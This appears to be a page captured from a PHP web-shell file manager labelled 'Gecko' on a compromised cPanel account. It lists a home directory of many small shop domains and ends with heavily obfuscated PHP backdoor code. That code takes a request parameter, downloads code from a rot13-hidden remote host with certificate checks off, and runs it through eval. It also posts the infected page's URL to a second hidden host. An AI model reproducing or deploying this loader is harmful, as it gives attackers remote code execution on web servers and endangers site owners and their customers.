Gecko [ cxecomgroup.com ]

Name	Size	Permission	Date
.cagefs	[ DIR ]	drwxrwx--x	2026-07-23 03:16
.caldav	[ DIR ]	drwx--x--x	2026-07-23 03:16
.cl.selector	[ DIR ]	drwxr-xr-x	2026-07-23 03:16
.clwpos	[ DIR ]	drwx------	2026-07-23 03:16
.cpanel	[ DIR ]	drwx------	2026-07-24 06:01
.cphorde	[ DIR ]	drwx------	2026-07-23 03:16
.gnupg	[ DIR ]	drwx------	2026-07-23 03:16
.htpasswds	[ DIR ]	drwxr-x---	2026-07-23 03:16
.jbm	[ DIR ]	drwx------	2026-07-23 03:16
.koality	[ DIR ]	drwxr-xr-x	2026-07-23 03:16
.pki	[ DIR ]	drwxr-----	2026-07-23 03:16
.sitepad	[ DIR ]	drwx--x--x	2026-07-23 03:16
.softaculous	[ DIR ]	drwx--x--x	2026-07-23 03:16
.ssh	[ DIR ]	drwx------	2026-07-23 03:16
.subaccounts	[ DIR ]	drwx------	2026-07-23 03:16
.trash	[ DIR ]	drwxr-xr-x	2026-07-24 06:06
.wp-cli	[ DIR ]	drwxrwxr-x	2026-07-23 03:16
access-logs	[ DIR ]	drwxr-x---	2026-07-24 00:08
adventskalender-tradition.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
beltboutique.co.uk	[ DIR ]	drwxr-x---	2026-07-24 08:52
codex-wp-backups	[ DIR ]	drwxrwxr-x	2026-07-23 08:49
cxecomgroup.com	[ DIR ]	drwxr-x---	2026-07-24 09:41
etc	[ DIR ]	drwxr-x---	2026-07-23 23:46
fiskehattbutik.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
geduldspiele-shop.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
ilmondodellozaino.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
kalastajahattu.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
klockuppdragare.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
kristallerochstenar.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
logs	[ DIR ]	drwx------	2026-07-24 00:10
lscache	[ DIR ]	drwxrws---	2026-07-23 08:49
lupensicht.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
mail	[ DIR ]	drwxr-x--x	2026-07-24 10:37
mattbutiken.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
meine-teekanne.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
mhxr7844.odns.fr	[ DIR ]	drwxr-xr-x	2026-07-23 11:45
mi-tetera.es	[ DIR ]	drwxr-x---	2026-07-23 11:45
mia-teiera.it	[ DIR ]	drwxr-x---	2026-07-23 11:45
mijn-theepot.nl	[ DIR ]	drwxr-x---	2026-07-23 11:45
min-tekanna.se	[ DIR ]	drwxr-xr-x	2026-07-23 12:42
mitt-smyckeskrin.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
myjewellerybox.co.uk	[ DIR ]	drwxr-x---	2026-07-23 11:45
orologiodataschino.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
public_ftp	[ DIR ]	drwxr-x---	2026-07-23 08:49
public_html	[ DIR ]	drwxr-x---	2026-07-23 08:49
relojdebolsillo.es	[ DIR ]	drwxr-x---	2026-07-23 11:45
reppujenmaailma.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
retroklang.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
rucksack-welt.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
rugzakwereld.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
sac-daim.fr	[ DIR ]	drwxr-x---	2026-07-23 11:45
schmuckkastchen.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
sieradendoos.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
smyckeskrinparadis.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
smyckeskrinstockholm.se	[ DIR ]	drwxr-x---	2026-07-23 11:45
smykkeskrincopenhagen.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
ssl	[ DIR ]	drwxr-xr-x	2026-07-23 08:49
strand-tas.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
strand-tasche.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
strandtaske.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
taschenuhrshop.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
teekanne-atelier.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
teekanne-kaufen.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
tmp	[ DIR ]	drwxr-xr-x	2026-07-23 11:45
wall-lights.co.uk	[ DIR ]	drwxr-x---	2026-07-23 11:45
wanduhr-shop.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
westernandcowboy.de	[ DIR ]	drwxr-x---	2026-07-23 16:21
westernandcowboy.es	[ DIR ]	drwxr-x---	2026-07-23 16:27
westernandcowboy.it	[ DIR ]	drwxr-x---	2026-07-23 16:30
westernandcowboy.nl	[ DIR ]	drwxr-xr-x	2026-07-24 09:41
westernbutik.se	[ DIR ]	drwxr-x---	2026-07-23 22:35
whiskymoment.de	[ DIR ]	drwxr-x---	2026-07-23 11:45
www	[ DIR ]	drwxr-x---	2026-07-23 08:49
xn--klocklda-f0a.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
xn--pivpeitto-v2ac.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
xn--rosenbr-bxa.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
xn--ryggsckvrlden-ffbd.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
xn--rygskverden-d9a.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
xn--smyckesfrvaring-gtb.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
xn--strandvska-w5a.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
xn--tppertilstuen-3fb.com	[ DIR ]	drwxr-x---	2026-07-23 11:45
zakhorlogeshop.nl	[ DIR ]	drwxr-xr-x	2026-07-23 12:42
.bash_history	120.8 KB	-rw-------	2024-02-10 10:19
.bash_logout	18 B	-rw-r--r--	2022-03-28 16:37
.bash_profile	193 B	-rw-r--r--	2022-03-28 16:37
.bashrc	231 B	-rw-r--r--	2022-03-28 16:37
.clamavconnector.scan	929 B	-rw-r--r--	2024-01-26 20:27
.clamavconnector.status	1022 B	-rw-r--r--	2024-01-26 20:27
.contactemail	0 B	-rw-r-----	2022-03-28 16:37
.ftpquota	21 B	-rw-------	2026-07-19 06:15
.gemrc	139 B	-rw-r--r--	2024-02-08 09:51
.htaccess	197 B	-r--r--r--	2026-07-24 09:41
.imunify_patch_id	106 B	-rw-r--r--	2025-04-16 06:00
.lastlogin	581 B	-rw-------	2026-07-04 22:17
.myimunify_id	102 B	-rw-rw----	2023-06-22 03:37
.spamassassinboxenable	0 B	-rw-r--r--	2019-09-09 10:57
.spamassassinenable	0 B	-rw-r--r--	2019-09-09 10:57
.wget-hsts	166 B	-rw-r--r--	2026-07-24 08:16
.zshrc	658 B	-rw-r--r--	2022-03-28 16:37
1.php	31 KB	-rw-r--r--	2026-07-23 03:16
run_updates.sh	1.74 KB	-rwxr-xr-x	2026-05-19 16:11
run_updates_all.sh	1.54 KB	-rwxr-xr-x	2026-05-19 16:23
run_updates_fast.sh	2.05 KB	-rwxr-xr-x	2026-05-19 16:14
wp-blog-header.php	2.74 KB	-rw-r--r--	2026-07-23 08:49
wp-cron.php	2.74 KB	-rw-r--r--	2026-07-23 08:49
wp-update.log	446.25 KB	-rw-rw-r--	2026-06-11 20:21

Rename

<?php
 goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: }
?>